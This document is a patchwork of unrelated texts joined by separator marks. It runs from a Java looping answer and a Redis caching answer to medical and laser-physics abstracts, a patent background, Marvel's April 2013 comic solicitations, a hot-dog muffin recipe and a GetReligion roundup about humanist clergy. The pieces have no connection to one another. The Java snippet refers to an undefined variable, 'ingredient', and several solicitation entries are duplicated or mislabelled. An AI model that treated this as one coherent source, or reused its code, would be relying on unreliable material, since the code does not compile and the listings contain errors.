Thanks for any ideas on how to proceed.
A:
The naive way to do this would just be to track i yourself:
private final Map modules = new HashMap();
AssemblyType(Collection modules, int... units) {
int i = 0;
for (Module module : modules) {
this.modules.put(ingredient, units[i]);
i++;
}
}
I'm not sure if there's a better way, but I'm pretty sure you can't combine two iterators inside a single for loop like your original example.
|
Q:
How to do Redis tree and optimize it + Node.js
I need to have cached data that will be used by several node.js workers. Below, there is hierarchy of that data, it's 3 layer deep :
Each category has the same subcategories, and both of them are of fixed size.
Each "Data" contains 4 fields, one of which is an unique ID. There will be quite a lot of "Data" inserting and deleting.
What is the best way to implement such database in Redis? Hash sets for cat+subcat since I have fixed amount of them, and hash set also for Data becouse of that unique ID every field has?
Thanks!
A:
There are multiple ways you can achieve this.
One is to store hashsets with names concatenating
"category:subcategory:data" -> key1: value1, key2: value2, ...
Through this you can fetch your information if you know what you are looking for.
If searching is your issue then you'll need to add more calls to the redis server which will have a performance impact. But it all depends on how you want to search that data.
As meta information, you can create separate hashsets to facilitate not loosing an data.
List of categories
Hashset of categories -> SubCategories
categories:subcategories -> 4data points
categories:subcategories:data -> keys and values.
|
Women's decision making regarding hysterectomy.
To describe the decision-making process of women who choose hysterectomy for treatment of benign disease or distressing symptoms. Qualitative design based on grounded theory, using semistructured interviews. Participants were interviewed in their homes or at their place of employment. Ten women who were premenopausal prior to hysterectomy. Decision making began when the women recognized abnormal body changes or bothersome symptoms. Four major processes were identified. "Seeking Solutions" was characterized by information seeking, information processing, and utilization of pharmacologic and nonpharmacologic treatments in an attempt to cure the disease and/or alleviate symptoms. "Holding On" included managing symptoms, rearranging activities of daily living to accommodate symptoms, and waiting. "Changing Course" was characterized by an abrupt change from Holding On to focusing on hysterectomy as the solution to the distressing symptoms. During "Taking Charge," the women displayed purposeful actions directed at arranging and preparing for surgery. Understanding the process of decision making will enable nurses to provide support for women who choose hysterectomy for treatment of benign gynecologic diseases and/or distressing gynecologic symptoms. Nurses' support of women's decision making should include referrals, education, and emotional support. In addition, nurses can help these women improve their quality of life by assisting them with symptom management. |
Q:
Raw rgb frames to mpeg?
Does anybody know of a simple dll that has like 3 main functions, i.e.
1. Start_recording_mpeg(<encoding>, <fps>, <file>, <etc>)
2. Encode_frame(<raw rgb data>)
3. Finish()
A:
Convert your RGB frames to YUV and then pipe them to ffmpeg as described in this blog entry.
|
Statistics of the optical intensity of a chaotic external-cavity DFB laser.
We study experimentally and theoretically the first- and second-order statistics of the optical intensity of a chaotic external-cavity semiconductor DFB laser in fully developed coherence-collapse. The second-order statistic is characterized by the autocorrelation, where we achieve consistent experimental and theoretical results over the entire parameter range considered. For the first-order statistic, we find that the experimental probability-density function is significantly more concentrated around the mean optical power and robust to parameter changes than theory predicts. |
1. Technical Field
The present disclosure relates to an electronic device and particularly to an electronic device with a predetermined sequence for assembly.
2. Description of Related Art
Electronic devices such as server assemblies include a cabinet, and a plurality of servers received in the cabinet and arranged in a stack. When the servers need to be repaired or replaced, the servers can be pulled outside of the cabinet. However, in some electronic devices, the servers must be pulled outside of the cabinet in a predetermined sequence. If users does not know that and pull the servers outside in a wrong sequence, the electronic devices may be out of work.
What is needed, therefore, is an electronic device which cannot be removed if a pull-out sequence is wrong. |
More Age Of Ultron stuff, Thanos Uprising, Avengers go to the New Universe, so many comics getting a "Too Many Armors" variant covers, and a rather wonderful Cable And X-Force cover that's just… weird. Here are the comics Marvel will be selling you come April.
AGE OF ULTRON #4 (OF 10)
Publisher:
(W) Brian Michael Bendis (A/CA) Bryan Hitch
• The impossible has happened!
• The Earth has been taken by Ultron…what few super hero survivors there are try desperately to stay alive.
• And it is Luke Cage who discovers the secret behind Ultron's victory over all of mankind.
• A secret that will have fans of Marvel comics arguing for years to come!
4/3/2013
$3.99
AGE OF ULTRON #5 (OF 10)
(W) Brian Michael Bendis (A/CA) Bryan Hitch
• The super hero survivors of the Ultron devastation follow a trail to the Savage Land in the hopes of finding a way to survive or turn the tide of the Ultron apocalypse.
• But with half the Marvel heroes dead, what chance do any of the survivors have?
• The choice that will forever change the course of Marvel history…!
4/10/2013
$3.99
AGE OF ULTRON #6 (OF 10)
(W) Brian Michael Bendis (A/CA) Brandon Peterson, Carlos Pacheco
• The heroes take the fight to Ultron…with a near-broken Captain America taking the lead!
• Meanwhile, Wolverine takes it upon himself to make one of the most controversial decisions in the history of Marvel comics…
…and you'll never believe who goes along with him!
4/17/2013
$3.99
AVENGERS ASSEMBLE #14AU NOW
(W) Al Ewing (A) Butch Guice (CA) Nic Klein
• Black Widow heads back to her old stomping ground of San Francisco for coffee, old friends…
…and the end of the world as we know it.
• The Age of Ultron is here — and nobody's getting out in one piece…
4/10/2013
$3.99
ULTRON #1AU
(W) TBD (A) Amilcar Pinna (CA) Kalman Androsofsky
• Ultron took over the world.
• Ultron killed the heroes.
• Ultron…is your father.
• When you're Victor Mancha, android teen Runaway, "daddy issues" doesn't quite cover it.
WOLVERINE AND X-MEN #27AU
(W) Matt Kindt (A) Paco Medina (CA) Mike Deodato
• An AGE OF ULTRON tie-in (make sure you read #6 first!)
• Wolverine and the Invisible Woman find themselves in the Avengers' past!
UNCANNY AVENGERS #7 NOW
(W) Rick Remender (A) Daniel Acuña (CA) John Cassaday
• Enter The Apocalypse Twins! The beginning of the end begins with their arrival!
• Why do they seek to anger The Celestials? What is their connection to Kang? How is Thor responsible for their mighty power?!
• A death at the hands of an Avenger divides the team!
• Will Sunfire torture an S-Man to save mutant lives?
THANOS RISING #1 (OF 5) NOW
(W) Jason Aaron (A/CA) Simone Bianchi
• What comes after "Marvel NOW!"? Whatever it is, it starts HERE.
• The vile face left movie audiences in shock after last summer's Marvel Studios' "The Avengers" movie, but who is this eerily disturbing villain?
• Thanos rises as the unrivaled rogue of wretchedness in this gripping tale of tragedy, deceit and destiny. Where did this demi-god of death and destruction come from and…more importantly what does he want?
• The answers come from the incredible creative team of Jason Aaron (Wolverine, X-Men Origins) and Simone Bianchi (Wolverine, Astonishing X-Men) as they take you on journey that will not only change the course of one boy's life…
…but will soon change the very nature of the Marvel Universe.
X-MEN #1 NOW
(W) Brian Wood (A/CA) Olivier Coipel
Because you demanded it! The X-Women finally get their own book, from critically acclaimed superstars Brian Wood (X-MEN, ULTIMATE X-MEN, DMZ, The Massive) and Olivier Coipel (AVX, HOUSE OF M, THOR)! An old enemy shows up at the X-Men's door, seeking asylum from an ancient evil come back to earth. Meanwhile, Jubilee has come home, and she's brought with her an orphaned baby who might hold the key to the earth's survival…or its destruction. Against a backdrop of what seems like an alien invasion and an eons-spanning war between brother and sister, Storm steps up and puts together a team to protect the child and stop a new threat that could destroy all life on earth!
AVENGERS #9 NOW
(W) Jonathan Hickman (A/CA) Dustin Weaver
"NEW UNIVERSE"
• Watch as the most dangerous weapon in the Universe is unleashed.
• Two Universal SYSTEMS collide.
• What good is a White Event if only leads to the destruction of the planet it was meant to transform?
AVENGERS #10 NOW
(W) Jonathan Hickman (A) Mike Deodato (CA) Dustin Weaver
"VALIDATOR"
• We learn that the Canadian super team Omega Flight got lost in a Garden Origin Site.
• Discover what happens when the Avengers go in to rescue them.
• Learn why ADAPTATION is the scariest word in the Marvel Universe.
NEW AVENGERS #5 NOW
(W) Jonathan Hickman (A) Steve Epting (CA) Jock
"BLACK SWAN"
• Learn the history of the enigmatic Black Swan.
• What answers can she provide the Illuminati?
• And watch as the New Avengers do the unthinkable!
AVENGERS ARENA #7 NOW
(W) Dennis Hopeless (A) Alessandro Vitti (CA) Dave Johnson
All about Arcade! How did the former punch line become the sadistic scene stealer? Find out in this standalone shocker!
It's 2 chances in 1 month to discover why iFanboy calls AVENGERS ARENA "a ton of fun" and IGN promises that "You will be convinced this series has taken the kid gloves off!".
NOVA #3 NOW
(W) Jeph Loeb (A/CA) Ed McGuinness
• It's time for Sam Alexander's Training Day. And with the Guardians of Galaxy' s Gamora and Rocket Raccoon in charge, Nova soon learns that old lesson "Practice Makes Painful!"
GUARDIANS OF GALAXY #2 NOW
(W) Brian Michael Bendis (A/CA) Steve McNiven
• While London deals with the brutal Badoon invasion, the fate of the Guardians of the Galaxy may have been decided millions of miles away.
FEARLESS DEFENDERS #3 NOW
(W) Cullen Bunn (A) Will Sliney (CA) Mark Brooks
• WARRIOR WOMAN joins the Defenders! Who is she? And why is she back from the dead?
• Plus! A city of silent superheroes.
• And: Defenders vs. Doom Maidens!
CAPTAIN AMERICA #6 NOW
(W) Rick Remender (A/CA) John Romita
THE ODD WAR OF DIMENSION Z continues!
• Steve Rogers is dead–long live Captain Zola!
• A traitor strikes.
• Arnim Zola gets everything he wants.
FANTASTIC FOUR #6 NOW
(W) Matt Fraction (A/CA) Mark Bagley
• The F4 travel back to the literal dawn of time to witness the big bang.
• To their surprise, they are not alone…!
FANTASTIC FOUR #7 NOW
(W) Matt Fraction (A/CA) Mark Bagley
• You've seen how everything begins — now see how everything ends! Marvel's first family travels to THE BIG CRUNCH!
• What if the end of everything wasn't really the end of everything? What happens beyond the end of infinite time and space?
• Speaking of ends, how's everybody feeling out there in time and space, Dr. Richards? Hmmmmm?
FF #6 NOW
(W) Matt Fraction (A/CA) Mike Allred
• Darla vs Yancy Street! ' NUFF SAID!
INDESTRUCTIBLE HULK #6 NOW
(W) Mark Waid (A/CA) Walter Simonson
• Banner takes his lab team to Jotunheim!
• Hulk vs. Frost Giants!
• Guest-starring Thor!
JOURNEY INTO MYSTERY #651 NOW
(W) Kathryn Immonen (A) Matteo Scalera (CA) Jeff Dekal
• Mayhem in the mess hall! Horror in the hash house!
• Volstagg's daughter, Hildegund, only wanted a midnight snack! But something else is rampaging in the lower kitchens of Asgardia and she's going to have to wake the whole house to fight it.
• Sif! Thor! The Warrior's Three! Heimdall's dog! All join forces to chain this beast once and for all. Unfortunately, everything they need to do it? Never EXISTED!
RED SHE-HULK #64 NOW
(W) Jeff Parker (A) Carlo Pagulayan, Wellington Alves (CA) Francesco Francavilla
ROUTE 616 CONTINUES!
• Red She-Hulk goes deep underground to find the secrets of the ancient order of the Shield!
• There's a new ruler of the world below!
• He may never let her leave…
THOR GOD OF THUNDER #7 NOW
(W) Jason Aaron (A/CA) Esad Ribic
GODBOMB Part One of Five
• Somewhere at the end of the time, all the gods of the universe are enslaved, working to build a machine that will forever change the face of creation.
• What is…the Godbomb? And what can Thor, the last free god in all the cosmos, do to stop it?
THUNDERBOLTS #8 NOW
(W) Daniel Way (A) Phil Noto (CA) Julian Totino Tedesco
• A new terrorist mastermind rises…with close ties to a Thunderbolt!
• His cell has weaponized decommissioned Crimson Dynamos!
• Meanwhile, the Thunderbolts are tearing themselves apart!
YOUNG AVENGERS #4 NOW
(W) Kieron Gillen (A/CA) Jamie McKelvie
• Kate Bishop finally turns up!
• A lovely day trip to Central Park for a group of cheery youngsters.
• LIES! It's not lovely as they're being pursued by bad guys and it's not a day trip as (er) it's at night.
• A shameless retcon into Marvel Boy's history!
SUPERIOR SPIDER-MAN #7 NOW
(W) Dan Slott (A/CA) Humberto Ramos
"Troubled Mind" Part 1
• An Avenger no more?
• With the public at large realizing this is no longer a "Friendly Neighborhood" Spider-Man, and in light of his actions in recent events, will the Avengers kick Spidey off the team? Plus the return of Cardiac!
• And a new development for a Spider-Man who hasn't been seen for some time. And by time, we mean centuries.
• The lead up to the Spider-Event of the Summer STARTS HERE!
SUPERIOR SPIDER-MAN #8 NOW
(W) Dan Slott (A/CA) Humberto Ramos
"Troubled Mind" Part 2
• Peter Parker takes a stand!
• With a villain acting like a hero and a hero acting like a villain, one man has decided that enough is enough!
• More with Cardiac! More surprises! And a moment that will break a lot of hearts!
• To save the life of one of Spider-Man's enemies, Peter Parker fights to regain control of his body, his mind, and his destiny!
• Is this the beginning of the end for Otto Octavius?
MORBIUS LIVING VAMPIRE #4 NOW
(W) Joe Keatinge (A) Richard Elson (CA) David Lopez
• After killing the Godfather of Brownsville, Morbius incites a gang war.
• Will Morbius be able to protect his new friends? Or will he give into the monster?
• Find out why Morbius is the breakout hit of Marvel Now!
A PLUS X #7 NOW
(W) Christopher Yost, Mike Costa (A) Stefano Casselli & Various (CA) Stefano Casselli
• Artist Stefano Casseli (AVENGERS ASSEMBLE) and Mike Costa (G.I.: JOE: Cobra) show you the ever-loving blue-eyed Thing and the ever-lusting red-eyed Gambit playing the most dangerous game!
• Thor and Iceman teamup in one of the most visually amazing tales you've ever seen, courtesy of Christopher Yost (AVENGING SPIDER-MAN) and superstar artists-to be R'John Bernales and Chris Turcotte!
X-MEN LEGACY #9 NOW
(W) Simon Spurrier (A) Tan Eng Huat (CA) Mike Del Mundo
• Legion and Blindfold go on a date…on the moon!
• But when Legion reveals his ulterior motive for visiting the moon, will Blindfold leave him without a goodnight kiss??
ALL NEW X-MEN #10 NOW
(W) Brian Michael Bendis (A) David Marquez (CA) Stuart Immonen
• The Uncanny X-Men come to the Jean Grey School to recruit.
• Who will join Cyclops and his revolutionary crew? The answer will shock you!
• Mystique and Sabretooth continue to hatch their master plan and it doesn't bode well for the All-New X-Men.
UNCANNY X-MEN #4 NOW
(W) Brian Michael Bendis (A/CA) Chris Bachalo
• How is Magik the only one of the Phoenix Five to come out of the experience unscathed?
• And there is something strange going on with one of the other members of the UNCANNY X-MEN.
UNCANNY X-MEN #5 NOW
(W) Brian Michael Bendis (A/CA) Chris Bachalo
• FRAZER IRVING (Batman and Robin) joins the creative team of UNCANNY X-MEN!
• Learn what it's like to be a student at Cyclops' new school.
UNCANNY X-FORCE #4 NOW
(W) Sam Humphries (A) Ron Garney (CA) Kris Anka
• The first arc comes to a crazy climactic end!
• What have Fantomex and Cluster been up to while Bishop has been killing the rest of X-Force?
CABLE AND X-FORCE #7 NOW
(W) Dennis Hopeless (A/CA) Salvador Larroca
• Cyclops comes face-to-face with his son Cable.
• Colossus isn't faring well in prison.
DEADPOOL #7 NOW
(W) Gerry Duggan, Brian Posehn (A) Tony Moore (CA) TBD
• First…flashback to Deadpool's adventures in yesteryear with Iron Man!
• Then…Deadpool is hired by a demon to reclaim damned souls!
• Plus…Wade gets in touch with his feminine side!
DEADPOOL #8 NOW
(W) Gerry Duggan, Brian Posehn (A) Tony Moore (CA) TBD
• First…flashback to Deadpool's adventures in yesteryear with Iron Man!
• Then…Deadpool is hired by a demon to reclaim damned souls!
• Plus…Wade gets in touch with his feminine side!
WOLVERINE #2 NOW
(W) Paul Cornell (A/CA) Alan Davis
• HUNTING SEASON, PART 2!
• Wolverine has to track down a boy on a rampage before he does the unthinkable!
SAVAGE WOLVERINE #4 NOW
(W/A/CA) Frank Cho
• Enter: MAN-THING!
• The Savage Land holds many secrets, among them what could be the key to resurrection…but at what cost?
SCARLET SPIDER #16
(W) Christopher Yost (A) Khoi Pham (CA) Kalman Andrasofszky
• In the wake of Superior Spider-Man, the world has learned to fear the Spiders
• When terrorists attack one of Houston's most famous landmarks, Kaine's ready to put that fear to use!
• Yost & Pham continue year two of the world's most dangerous super hero!
ALPHA BIG TIME #3 (OF 5)
(W) Joshua Hale Fialkov (A) Nuno Plati (CA) Humberto Ramos
• A killer is on the loose that Alpha created! But the high school hero has a bigger threat – dating!
• The defining moment of the greatest superhero to ever exist ever is here, thanks to Josh Fialkov & Nuno Plati (AMAZING SPIDER-MAN)
AVENGING SPIDER-MAN #19
(W) Christopher Yost (A/CA) Marco Checchetto
• Spider-Man is Doctor Octopus!!! There! Now, that we've got that off our chests…
• The mysterious being known as SLEEPWALKER stalks Spider-Man in the waking world, while something far more horrible has invaded his dreams!
• And what nightmares will the Superior Spider-Man's dreams unleash on the world?
VENOM #33
(W) Cullen Bunn (A) Declan Shalvey (CA) Shane Davis
• It's Venom vs. Toxin in the schoolyard!
• But have these two symbiote-psychos created something far more evil in Philadelphia?!
CAPTAIN MARVEL #12
(W) Kelly Sue DeConnick (A) Filipe Andrade (CA) Joe Quinones
• The issue that will kick off a Major Captain Marvel and Avengers event!
• Still grounded from flying, Captain Marvel takes on a different and dangerous kind of bird-DEATHBIRD!
• Handicapped, but determined Carol risks her powers and her life!
• PLUS: The unstoppable evil that's been pulling Deathbird's strings!
HAWKEYE #10
(W) Matt Fraction (A/CA) David Aja
• The most acclaimed new book of the year continues!
• Who pulled the trigger?
• Where have you seen him before? Have you seen him before? Maybe. But not like this.
• It's murder, mayhem, and greasepaint make-up for the money, kids — and that means playtime is over, Monsieur Hulot. Caw caw.
WINTER SOLDIER #17
(W) Jason Latour (A) Nic Klein (CA) Declan Shalvey
• Writer Jason Latour (Loose Ends, Wolverine) and artist Nic Klein (Dancer, Viking, Doc Savage) begin the third explosive chapter of THE WINTER SOLDIER'S newest deadly mission.
• S.H.I.E.L.D. is crippled, the world is on it's knees and the only thing that stands in the way of THE ELECTRIC GHOST'S devastating master plan is Bucky Barnes!
• But how can Bucky act when the cost of winning this battle may just be the loss of his own future?
DARK AVENGERS #189
(W) Jeff Parker (A) Neil Edwards (CA) Joe Quinones
• They were Earth's Deadliest Villains. They're about to become Avengers.
• The penultimate chapter of dark heroics is here!
• Parker & Edwards continue this year's sleeper hit!
DARK TOWER GUNSLINGER EVIL GROUND #1 (OF 2)
(W/A) Various (CA) TBD
While traveling through the Desatoya Mountains towards Eluria, Roland comes across a haunted camp. While there, he relives one of his past adventures, in which he and his ka-tet fought Farson's forces, only to be trapped by supernatural enemies. A fascinating prequel to THE LITTLE SISTERS OF ELURIA, and also a return to Roland's much-loved early adventures, EVIL GROUND is a must-read for all Dark Tower fans.
ULTIMATE COMICS X-MEN #25
(W) Brian Wood (A) Mahmud A. Asrar (CA) Dave Johnson
"NATURAL RESOURCES" CONTINUES!
• Utopia thrives, but at what cost?
• Mach Two's jungle insurgency
• Eyes In The Sky – who's watching the mutants?
ULTIMATE COMICS WOLVERINE #3 (OF 4)
(W) Cullen Bunn (A) Ramon Rosanas (CA) Arthur Adams
• A story from Wolverine's past is revealed! Who is the mother of his son?
• The terrifying potential of Project: Mothervine is unleashed!
• Jimmy Hudson is caught in a brutal life-and-death battle he can't hope to win… against the brother he never knew he had!
ULTIMATE COMICS SPIDER-MAN #22
(W) Brian Michael Bendis (A/CA) Sara Pichelli
• Venom versus Spidey! The Final Showdown!
• How does Gwen Stacy figure into it and how will it change her and Miles' life forever?
• Guest-Starring Mary Jane Watson!
DAREDEVIL END OF DAYS #7 (OF 8)
(W) Brian Michael Bendis, David Mack (A) Klaus Janson, Bill Sienkiewicz (CA) Alex Maleev
• The mystery of Daredevil's final days leads Ben Urich through a gauntlet of the Man Without Fear's enemies!
• The trail brings Ben to The Church of The Hand… and a confrontation with Daredevil?!
• The penultimate chapter of Daredevil's final tale is here – and some of his greatest creators are here to tell it!
DAREDEVIL #25
(W) Mark Waid (A/CA) Chris Samnee
• The hidden foe behind DD's troubles plays his trump card!
• Foggy's life is on the line!
• Plus: Who is Nelson & Murdock's mysterious benefactor–and what does he want?
DEXTER #3 (OF 5)
(W) Jeff Lindsay (A) Dakbor Talajic (CA) Dakbor Talajic, Ive Svorcina
• Miami's leading forensic blood spatter expert, Dexter, is a cut above the rest. And in his spare time, he's cutting up bad guys!
• Dexter's Dark Passenger is burning for revenge after Dexter and his sister, Deborah, are nearly torched by a Molotov cocktail.
• Just when the trail heats up to catch Miami's Skid Row Slasher, one suspect turns up stone cold dead.
• Dexter catches a break by doing some stealthy "breaking and entering" but he may be the one who ends being caught.
CASTLE A CALM BEFORE STORM #5 (OF 5)
(W) Peter David (A) Robert Atkins (CA) Mico Suayan
• Fans of the ABC show "Castle", will love this 'adaptation' of Richard Castle's Calm Before Storm!
• As the city of Moscow is on the verge of a meltdown, Derrick Storm is in the final battle against The Fear.
• Can Storm prevent the start of World War III and finally avenge his mother?
DISNEY JUNIOR MAGAZINE #13
DISNEY PUBLISHING WORLDWIDE
(W/A) Various (CA) TBD
• This issue of Disney Junior Magazine includes stories, games, puzzles, counting and coloring activities.
MARVEL SUPER HEROES #8
DISNEY PUBLISHING WORLDWIDE
(W/A) Various (CA) TBD
•Marvel Super Heroes Magazine invites families to bring home the "Mighty Marvel Universe"!
FAIRIES MAGAZINE #13
DISNEY PUBLISHING WORLDWIDE
(W/A) Various (CA) TBD
• This issue of Disney Princess Magazine is full of magical stories, a collectible pull-out poster, activities, games and much, much more. Great for any princess.
CARS MAGAZINE #13
DISNEY PUBLISHING WORLDWIDE
(W/A) Various (CA) TBD
•This issue of the magazine contains brand new stories, classic adventures, puzzles, a pull-out poster, games and more.
MARVEL UNIVERSE ULTIMATE SPIDER-MAN #13
(W) Karl Kesel, Chris Eliopoulos (A) Ramon Bachs, Ty Templeton (CA) Ty Templeton
• It's all-out action and excitement as the webbed wonder does battle with the Frightful Four – and takes his first step to becoming the ULTIMATE SPIDER-MAN!
• Meanwhile, what dark secrets lurk within the Osborn family?!
• The hit DisneyXD show leaps off your TV and into your hands!
MARVEL UNIVERSE AVENGERS EARTHS HEROES #13
(W) Christos N. Gage, Chris Burnham (A) Christopher Jones, Tim Levins (CA) Khoi Pham
THE AVENGERS ASSEMBLE TO FACE DOWN DOOM!
• On a case with special guest stars the Fantastic Four, Avengers mansion becomes a target for the diabolical Doctor Doom and his minions!
• The hit DisneyXD TV Show bursts off the screen and into your hands as Earth's Mightiest Heroes take their most drastic stand!
GAMBIT #11
(W) James Asmus (A/CA) Clay Mann
• When Gambit's in over his head, who will answer his call for help? Enter: Rogue! And she may just have an opinion or two about Gambit's extracurricular activities…
• Speaking of, Joelle has her own dark designs for Gambit's former flame.
DEADPOOL KILLUSTRATED #4 (OF 4)
(W) Cullen Bunn (A) Matteo Lolli (CA) Michael Del
• Can Deadpool rid the universe of the scourge of classical literature?
• The Three Musketeer are all for DONE! Sherlock Holmes gets to the bottom of HIS OWN GRAVE!
• Sorry, college students–ALL OF LITERATURE ENDS HERE!
X-FACTOR #254
(W) Peter David (A) Leonard Kirk (CA) David Yardin
• "HELL ON EARTH WAR" rages on as X-Factor struggles to stop the Hell Lords from tearing the Earth apart in their battle for dominance! And as the war spills into New York City, X-Factor receives help from longtime allies…
• …but help may come too late as members of X-Factor Investigations continue to fall.
WOLVERINE AND X-MEN #28
(W) Jason Aaron (A/CA) Ramon K. Perez
• Dog Logan, Wolverine's half-brother from the classic ORIGIN, has defeated Wolverine and taken charge of the Jean Grey School Students.
• Which student won't be coming home?
AGE OF APOCALYPSE #14
(W) David Lapham (A) Roberto De La Torre (CA) Greg Land
PART 3 of X-TERMINATION! – FINAL ISSUE!
• The multi-verse is being consumed!
• No one is safe as our heroes split up to fight a war in two universes.
X-TREME X-MEN #13
(W) Greg Pak (A) Andre Arujo (CA) Kalman Androsofsky
Part 4 OF X-TERMINATION – FINAL ISSUE!
• With the rift into the AOA widening, the only chance might be to step into the void-but at what cost?
• Kid Nightcrawler makes the ultimate sacrifice
ASTONISHING X-MEN #61
(W) Marjorie M. Liu (A) Matteo Buffagni (CA) Giuseppe Camuncoli
Part 5 OF X-TERMINATION!
• The Extermination are poised to devour both the AOA and our Earth!
• A final goodbye between Wolverine and AOA Jean Grey!
X-TERMINATION #2 (OF 2)
(W) David Lapham & Various (A) David Lopez (CA) Ed McGuinness
X-TERMINATION EVENT PART 6 – THE CONCLUSION!
• To stop the Extermination, Jean takes the Apocalypse power into herself – but can she control it?
• The final reckoning for AOA Nightcrawler…and the entire AOA itself!
WOLVERINE MAX #6 (MR)
(W) Jason Starr (A) Roland Boschi, Felix Ruvi (CA) Jock
• After solving the mystery of Creed and the plane crash, Logan heads to LA
• But after living in the past for so long, can Logan face his future?
FURY MAX #11 (MR)
(W) Garth Ennis (A) Goran Parlov (CA) Dave Johnson
• Nick Fury is in Nicaragua investigating a CIA operation involving Barracuda.
• Barracuda doesn't much like being investigated.
• What Fury finds puts him and Barracuda on a collision course.
DISNEY JUNIOR MAGAZINE #13
DISNEY PUBLISHING WORLDWIDE
(W/A) Various (CA) TBD
• This issue of Disney Junior Magazine includes stories, games, puzzles, counting and coloring activities. |
Make muffins as directed and cook then cut up hot dogs, I cut them into quarters lengthwise and then cut those into about 1/2 inch pieces. Fold hot dog pieces and honey if desired into the batter then bake as directed.
I make mini muffins and bring them to all picnics and pot lucks, they travel very well and even the picky eaters like them (-:
These also freeze well and can be popped into microwave for quick lunch/snacks |
After taking off last week for Labor Day, we're back with another edition of the Monday Mix.
For those needing a refresher on this new GetReligion feature, we focus in this space on headlines and insights you might have missed from the weekend and late in the week.
We'll mention this again, too: Just because we include a headline here doesn't mean we won't offer additional analysis in a different post, particularly if it's a major story. In fact, if you read a piece linked here and have questions or concerns that we might address, please don't hesitate to comment below or tweet us at @GetReligion. The goal here is to point at important news and say, "Hey, look at this."
Three weekend reads
1. "We will be a better city once we know the truth and once we come together and heal."The Dallas Morning News is providing in-depth coverage of the police-involved killing of Botham Jean, 26, a black man shot by a white officer who entered his apartment after mistaking it for her own.
I ran into Morning News journalists both Saturday and Sunday at the Dallas West Church of Christ as I reported the story for The Christian Chronicle. In fact, the Dallas paper's photographer — in his first week on the job — confused me for his own reporter. We both enjoyed a chuckle over that while covering this terrible tragedy.
Back in the dim recesses of history, I wrote for several information technology publications.
A running joke in the late 1980s and early 1990s, was that this year, whichever year that was, would be the "Year of the LAN," or local-area network, that had long been prophesied. My colleagues and I would smirk a bit whenever some conference speaker declared this, and go back to our reporting.
The "Year of the LAN" did eventually arrive. Anyone who has a home network, wired or wireless, could be said to have ushered it in. But it came gradually, without the fanfare many in the industry sought to attach to this trend.
I had similar emotions when looking over a story in The Washington Post proclaiming the advent of a growing coterie of humanist clergy. Though posited as an oxymoron, the article noted that humanists -- who say there is no God and declare they can live ethical lives without a deity or scriptures to guide them -- need leaders, too. From the article:
These clergy without a God say that their movement is poised to grow dramatically right now, as American young adults report a lack of religious belief in higher numbers than ever before, but also yearn for communal ties and a sense of mission in a tumultuous time.
“Even more since the election, we have folks say, ‘I’m really looking for a way either to feel hope or to do justice,'” [conference organizer Amanda] Poppei said. The Sunday after the presidential election, dozens of distressed liberal Washingtonians showed up at her service, and many have gotten involved in the congregation. Now, Poppei sees an opportunity for not just her community but humanists nationwide. “To me it’s just about, how can we maximize what we’re doing to allow us to take advantage of the moment right now? I believe really strongly that being a person in a community makes you a better person. America needs it.”
Fueled especially by the millennial generation, the portion of Americans who say they don’t ascribe to any particular religion has increased dramatically, from 5 percent in 1972 to 25 percent today. A small portion of those 25 percent identify as atheist or agnostic. The rest tend to describe themselves using terms like “spiritual but not religious” or just “nothing in particular.”
The Post item is resonating in other quarters, it appears. Maine's Portland Press-Herald picked it up, and perhaps other papers have or will do so. It has the "man-bites-dog" quality of many click-worthy news articles.
NEW YORK — By the measure of the 2016 election, Bernie Sanders’s presidential campaign appears to be on the wane.
But from the vantage point of Fayna Pearlman’s Brooklyn apartment, it is only the first glimmer of a change that could one day reshape American politics.
Last year, the Hunter College student helped found what she calls LUC, or“little urban community.” It is a group of diverse but like-minded Millennials who rent out all four floors of a pre-war apartment in Brooklyn’s Crown Heights, sharing a common vision to transform American society, both socially and spiritually.
Recommended: How well do you know Bernie Sanders? Take our quiz.
With a sensibility that vibrates in a way that seems neither traditionally religious nor secular, Ms. Pearlman says that “we’re all starting to feel more and more connected to the fact that ‘we’re all in this together,’ ” she says.
She could be quoting the self-described democratic socialist senator, a Brooklyn-born Jew.
Sanders’s appeal to young liberals through his views on inequality, health care, and college tuition are well known. But less examined is his connection to young Americans’ faith.
Melissa Binder is rocking the Godbeat in one of the unlikeliest of places -- Portland, Ore.
"Who else is going to tell you what religion in the rest of the United States might look like in 50 years?" The Oregonian writer responds when asked about covering faith and values in America's least-religious city.
Binder's journalism talents earned her prestigiousnational awards even before her graduation from the University of North Carolina at Chapel Hill in 2013. Besides gaining photography, writing and digital news experience on campus, she interned for major news organizations such as the CNN Wire, the Charlotte Observer and the Atlanta Journal-Constitution.
After graduation, she joined The Oregonian as a neighborhood news reporter covering parts of Portland before transitioning to the newspaper's newly revived religion beat less than a year ago.
I'm interested in this beat for reasons beyond intellectual curiosity. Belief is central to individual identity for many of you. As a person of faith, I get that. I grew up in a North Carolina church (quite literally — I attended a Christian elementary and middle school in the same building where my family attended regular services). You can find me with my husband in the front row at Imago Dei Community in Southeast Portland almost every Sunday morning.
As the chandeliers dim against the vaulted ceiling of the Chapel in the Mission, women wearing Baptist-size hats fan themselves while men balance heaping plates of eggs and biscuits on their chino-clad knees. A soloist emerges from the be-robed gospel choir and sings:
“When you call my name, it’s like a little prayer.”
The Madonna hit rings through the former funeral parlor and current performance venue: “Just like a prayer; you know I’ll take you there.” The choir and crowd join in.
The “there” is Sunday’s Finest, host, organizer and reverend-for-the-day Mustafa Khan’s “nonreligious” church service. Khan, who previously worked for Facebook in operations and marketing, has developed a loyal following among the new Mission scenesters with his events, including April’s Silicon Valley Fashion Week, San Francisco’s Daybreaker dawn dance parties, and the recently launched Midnight Brunch. For $30 to $40, guests at Sunday’s Finest get a comfort-food buffet, seats to the show/church service and a sense of small-town closeness in the big city.
“Brothers and sisters,” Khan, decked out in a black-and-gold brocade faux vestment with shimmering lamé pants, greets the guests, “Welcome to Sunday’s Finest. We’re a fake church in a real church.”
Before he died, a longtime Central Floridian asked to be remembered simply: with a cocktail party and a jazz band. That's exactly what he got.
To honor the dead, many now opt to have vibrant and distinct memorial services, whether it involves a film festival's stage or bringing a plow into a funeral home.
Jim Semesco, president of the Florida Cemetery Cremation and Funeral Association and area general manager of a Leesburg funeral home, said he has seen the change in services.
"Baby boomers, millennials, Gen Xers are not as traditional as their parents and grandparents," Semesco said. "I think for quite some time they weren't getting a lot out of funerals."
In his Leesburg funeral home, Semesco has seen many examples. To honor a farmer, loved ones surrounded themselves with fresh vegetables in the chapel, alongside a plow. To pay homage to a painter, 50 pieces of her artwork were displayed. To acknowledge a "Star Trek" fan, memorabilia was brought in for a themed service.
